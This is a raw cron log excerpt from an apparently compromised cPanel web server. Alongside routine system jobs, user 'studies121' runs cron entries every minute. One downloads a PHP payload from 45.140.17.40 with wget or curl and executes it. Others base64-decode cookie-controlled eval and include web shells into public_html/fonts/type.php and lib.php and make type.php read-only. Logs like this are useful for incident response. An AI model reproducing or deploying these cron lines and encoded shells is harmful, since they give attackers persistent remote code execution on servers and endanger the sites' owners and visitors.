Sep  5 05:08:01 ip-184-168-122-23 CROND[14707]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:08:01 ip-184-168-122-23 CROND[14709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:08:01 ip-184-168-122-23 CROND[14711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:08:01 ip-184-168-122-23 CROND[14710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:09:01 ip-184-168-122-23 CROND[14806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:09:01 ip-184-168-122-23 CROND[14808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:09:01 ip-184-168-122-23 CROND[14809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:09:01 ip-184-168-122-23 CROND[14810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:09:01 ip-184-168-122-23 CROND[14811]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 05:10:01 ip-184-168-122-23 CROND[14909]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 05:10:01 ip-184-168-122-23 CROND[14910]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:10:01 ip-184-168-122-23 CROND[14911]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:10:01 ip-184-168-122-23 CROND[14914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:10:01 ip-184-168-122-23 CROND[14917]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:10:01 ip-184-168-122-23 CROND[14916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:10:01 ip-184-168-122-23 CROND[14920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:10:01 ip-184-168-122-23 CROND[14922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:11:01 ip-184-168-122-23 CROND[15033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:11:01 ip-184-168-122-23 CROND[15034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:11:01 ip-184-168-122-23 CROND[15035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:11:01 ip-184-168-122-23 CROND[15038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:12:02 ip-184-168-122-23 CROND[15259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:12:02 ip-184-168-122-23 CROND[15261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:12:02 ip-184-168-122-23 CROND[15263]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:12:02 ip-184-168-122-23 CROND[15262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:12:02 ip-184-168-122-23 CROND[15265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:13:01 ip-184-168-122-23 CROND[15354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:13:01 ip-184-168-122-23 CROND[15355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:13:01 ip-184-168-122-23 CROND[15357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:13:01 ip-184-168-122-23 CROND[15360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:14:01 ip-184-168-122-23 CROND[15443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:14:01 ip-184-168-122-23 CROND[15446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:14:01 ip-184-168-122-23 CROND[15445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:14:01 ip-184-168-122-23 CROND[15447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:14:01 ip-184-168-122-23 CROND[15448]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:15:02 ip-184-168-122-23 CROND[15546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:15:02 ip-184-168-122-23 CROND[15547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:15:02 ip-184-168-122-23 CROND[15549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:15:02 ip-184-168-122-23 CROND[15553]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:15:02 ip-184-168-122-23 CROND[15555]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:15:02 ip-184-168-122-23 CROND[15554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:16:01 ip-184-168-122-23 CROND[15652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:16:01 ip-184-168-122-23 CROND[15654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:16:01 ip-184-168-122-23 CROND[15657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:16:01 ip-184-168-122-23 CROND[15656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:16:02 ip-184-168-122-23 CROND[15655]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 05:16:02 ip-184-168-122-23 CROND[15659]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:17:01 ip-184-168-122-23 CROND[15883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:17:01 ip-184-168-122-23 CROND[15885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:17:01 ip-184-168-122-23 CROND[15888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:17:01 ip-184-168-122-23 CROND[15887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:18:02 ip-184-168-122-23 CROND[15978]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:18:02 ip-184-168-122-23 CROND[15983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:18:02 ip-184-168-122-23 CROND[15982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:18:02 ip-184-168-122-23 CROND[15985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:18:02 ip-184-168-122-23 CROND[15986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:19:01 ip-184-168-122-23 CROND[16090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:19:01 ip-184-168-122-23 CROND[16093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:19:01 ip-184-168-122-23 CROND[16094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:19:01 ip-184-168-122-23 CROND[16092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:20:01 ip-184-168-122-23 CROND[16182]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 05:20:01 ip-184-168-122-23 CROND[16183]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 05:20:01 ip-184-168-122-23 CROND[16186]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:20:01 ip-184-168-122-23 CROND[16185]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:20:01 ip-184-168-122-23 CROND[16192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
